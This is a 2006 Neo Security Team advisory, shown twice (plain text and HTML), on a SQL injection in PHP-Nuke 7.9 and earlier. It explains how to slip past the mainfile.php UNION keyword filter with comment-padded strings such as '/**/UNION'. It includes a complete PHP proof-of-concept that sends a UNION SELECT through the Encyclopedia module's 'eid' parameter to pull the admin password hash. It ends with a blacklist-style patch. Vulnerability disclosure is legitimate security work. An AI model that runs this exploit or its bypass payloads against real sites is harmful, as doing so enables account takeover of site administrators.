[N]eo [S]ecurity [T]eam [NST] - Advisory 27 - 2006-10-22: PHP Nuke versions 7.9 and prior SQL injection advisory and POC exploit.
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/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST] - Advisory 27 - 2006-10-22
--------------------------------------------------------
Program: PHP Nuke
Homepage: http://www.php.net
Vulnerable Versions: PHP Nuke <= 7.9
Risk: High!
Impact: Critical Risk
-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection
vulnerabilities==-
---------------------------------------------------------
- Description
---------------------------------------------------------
PHP-Nuke is a news automated system specially designed to be used in
Intranets and Internet. The Administrator has total control of his web site,
registered users, and he will have in the hand a powerful assembly of tools
to maintain an active and 100% interactive web site using databases.
- Tested
---------------------------------------------------------
localhost & many sites
- Vulnerability Description
---------------------------------------------------------
The most important and critical vulnerability is in the code designed to
filter the POST inputs to protect the script against
SQL Injections.
==[ mainfile.php 143-146 ]==========================
[...]
if (stripos_clone($postString,'%20union%20') OR
stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union
') OR stripos_clone($postString_64,'%20union%20') OR
stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,'
union ') OR stripos_clone($postString_64,'+union+')) {
header("Location: index.php");
die();
}
[...]
==[ end mainfile.php ]==============================
The protection is very good... but we can bypass it by using something like
'/**/UNION ' or ' UNION/**/' ;)
Also i found a SQL Injection vulnerability in the Encyclopedia module. The
"eid" variable isn't filtered at any moment, so if
we bypass the sql injection protection we can execute arbitrary sql
commands. With a simple UNION statement we get the
md5 hash of the admin password.
Here is the real life Proof of Concept exploit.
==Real Proof of Concept exploit==
<?
/*
Neo Security Team - Exploit made by Paisterist on 2006-10-22
http://www.neosecurityteam.net
*/
$host="localhost";
$path="/phpnuke/";
$prefix="nuke_";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$data="query=fooaa&eid=foo'/**/UNION SELECT pwd as title FROM
$prefix_authors WHERE '1'='1";
if ($fp) {
$p="POST /phpnuke/modules.php?name=Encyclopedia&file=search
HTTP/1.0\r\n";
$p.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,
application/x-shockwave-flash, */*\r\n";
$p.="Referer:
http://localhost/phpnuke/modules.php?name=Encyclopedia&file=search\r\n";
$p.="Accept-Language: es-ar\r\n";
$p.="Content-Type: application/x-www-form-urlencoded\r\n";
$p.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1
)\r\n";
$p.="Host: localhost\r\n";
$p.="Content-Length: ".strlen($data)."\r\n";
$p.="Pragma: no-cache\r\n";
$p.="Connection: keep-alive\r\n\r\n";
$p.=$data;
fwrite($fp, $p);
while (!feof($fp)) {
$content .= fread($fp, 4096);
}
preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);
print_r($matches);
}
?>
==Real Proof of Concept exploit==
Whit this PoC code i get the md5 hash of the first admin (God) of the
nuke_authors table.
- How to fix it? More information?
--------------------------------------------------------
You can found a patch on http://www.neosecurityteam.net/foro/
Also, you can modify the line 143 of mainfile.php, adding one more
protection like:
==[ mainfile.php old line (143) ]==========================
[...]
if (stripos_clone($postString,'%20union%20') OR
stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union
') OR stripos_clone($postString_64,'%20union%20') OR
stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,'
union ') OR stripos_clone($postString_64,'+union+')) {
}
[...]
==[ end mainfile.php ]=====================================
==[ mainfile.php new line (143) ]==========================
[...]
if (stripos_clone($postString,'%20union%20') OR
stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union
') OR stripos_clone($postString_64,'%20union%20') OR
stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,'
union ') OR stripos_clone($postString_64,'+union+') OR
stripos_clone($postString_64,
'*/UNION ') OR stripos_clone($postString_64, ' UNION/*')) {
}
[...]
==[ end mainfile.php ]=====================================
That's a momentary solution to the problem. I recommend to download the PHP
Nuke 8.0 version in the next days... it is not
free at the moment.
- References
--------------------------------------------------------
http://www.neosecurityteam.net/index.php?action=advisories&id=27
- Credits
--------------------------------------------------------
Anti SQL Injection protection bypass by Paisterist -> paisterist.nst [at]
gmail [dot] com
SQL Injection vulnerability in Encyclopedia module discovered by Paisterist
-> paisterist.nst [at] gmail [dot] com
Proof of Concept exploit by Paisterist -> paisterist.nst [at] gmail [dot]
com
[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/
- Greets
--------------------------------------------------------
HaCkZaTaN
K4P0
Daemon21
Link
0m3gA_x
LINUX
nitrous
m0rpheus
nikyt0x
KingMetal
Knightmare
Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!
@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@ @@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@
/* EOF */
--
Paisterist
Neo Security Team http://neosecurityteam.net
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/*<br>--------------------------------------------------------<br>[N]eo [S]ecurity [T]eam [NST] - Advisory 27 - 2006-10-22<br>--------------------------------------------------------<br>Program: PHP Nuke<br>Homepage: <a href="http://www.php.net">
http://www.php.net</a><br>Vulnerable Versions: PHP Nuke <= 7.9<br>Risk: High!<br>Impact: Critical Risk<br><br>-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==-<br>---------------------------------------------------------
<br><br>- Description<br>---------------------------------------------------------<br>PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases.
<br><br>- Tested<br>---------------------------------------------------------<br>localhost & many sites<br><br>- Vulnerability Description<br>---------------------------------------------------------<br><br>The most important and critical vulnerability is in the code designed to filter the POST inputs to protect the script against
<br> SQL Injections.<br><br><br>==[ mainfile.php 143-146 ]==========================<br>[...]<br>if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) {
<br>header("Location: index.php");<br>die();<br>}<br>[...]<br>==[ end mainfile.php ]==============================<br><br>The protection is very good... but we can bypass it by using something like '/**/UNION ' or ' UNION/**/' ;)
<br><br>Also i found a SQL Injection vulnerability in the Encyclopedia module. The "eid" variable isn't filtered at any moment, so if<br> we bypass the sql injection protection we can execute arbitrary sql commands. With a simple UNION statement we get the
<br>md5 hash of the admin password.<br><br>Here is the real life Proof of Concept exploit.<br><br>==Real Proof of Concept exploit==<br><?<br>/*<br><br>Neo Security Team - Exploit made by Paisterist on 2006-10-22<br><a href="http://www.neosecurityteam.net">
http://www.neosecurityteam.net</a><br><br>*/<br><br>$host="localhost";<br>$path="/phpnuke/";<br>$prefix="nuke_";<br>$port="80";<br>$fp = fsockopen($host, $port, $errno, $errstr, 30);
<br>$data="query=fooaa&eid=foo'/**/UNION SELECT pwd as title FROM $prefix_authors WHERE '1'='1";<br><br>if ($fp) {<br> $p="POST /phpnuke/modules.php?name=Encyclopedia&file=search HTTP/1.0\r\n";
<br> $p.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n";<br> $p.="Referer:
<a href="http://localhost/phpnuke/modules.php?name=Encyclopedia&file=search\r\n">http://localhost/phpnuke/modules.php?name=Encyclopedia&file=search\r\n</a>";<br> $p.="Accept-Language: es-ar\r\n";
<br> $p.="Content-Type: application/x-www-form-urlencoded\r\n";<br> $p.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";<br> $p.="Host: localhost\r\n";<br> $p.="Content-Length: ".strlen($data)."\r\n";
<br> $p.="Pragma: no-cache\r\n";<br> $p.="Connection: keep-alive\r\n\r\n";<br> $p.=$data;<br> <br> fwrite($fp, $p);<br> <br> while (!feof($fp)) {<br> $content .= fread($fp, 4096);
<br> }<br><br> preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);<br><br> print_r($matches);<br>}<br>?><br>==Real Proof of Concept exploit==<br><br>Whit this PoC code i get the md5 hash of the first admin (God) of the nuke_authors table.
<br><br>- How to fix it? More information?<br>--------------------------------------------------------<br><br>You can found a patch on <a href="http://www.neosecurityteam.net/foro/">http://www.neosecurityteam.net/foro/</a>
<br><br>Also, you can modify the line 143 of mainfile.php, adding one more protection like:<br><br>==[ mainfile.php old line (143) ]==========================<br>[...]<br>if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) {
<br>}<br>[...]<br>==[ end mainfile.php ]=====================================<br><br>==[ mainfile.php new line (143) ]==========================<br>[...]<br>if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+') OR stripos_clone($postString_64,
<br>'*/UNION ') OR stripos_clone($postString_64, ' UNION/*')) {<br>}<br>[...]<br>==[ end mainfile.php ]=====================================<br><br>That's a momentary solution to the problem. I recommend to download the PHP Nuke
8.0 version in the next days... it is not <br>free at the moment.<br><br>- References<br>--------------------------------------------------------<br><a href="http://www.neosecurityteam.net/index.php?action=advisories&id=27">
http://www.neosecurityteam.net/index.php?action=advisories&id=27</a><br><br>- Credits<br>--------------------------------------------------------<br>Anti SQL Injection protection bypass by Paisterist -> paisterist.nst
[at] gmail [dot] com<br>SQL Injection vulnerability in Encyclopedia module discovered by Paisterist -> paisterist.nst [at] gmail [dot] com<br>Proof of Concept exploit by Paisterist -> paisterist.nst [at] gmail [dot] com
<br><br>[N]eo [S]ecurity [T]eam [NST] - <a href="http://www.neosecurityteam.net/">http://www.neosecurityteam.net/</a><br><br><br>- Greets<br>--------------------------------------------------------<br>HaCkZaTaN<br>K4P0<br>
Daemon21<br>Link<br>0m3gA_x<br>LINUX<br>nitrous<br>m0rpheus<br>nikyt0x<br>KingMetal<br>Knightmare<br><br>Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!<br><br>@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@<br>'@@@@@''@@'@@@''''''''@@''@@@''@@
<br>'@@'@@@@@@''@@@@@@ @@@'''''@@@<br>'@@'''@@@@'''''''''@@@''''@@@<br>@@@@''''@@'@@@@@@@@@@''''@@@@@<br><br>/* EOF */<br><br clear="all"><br>-- <br>Paisterist<br><br>Neo Security Team <a href="http://neosecurityteam.net">
http://neosecurityteam.net</a>
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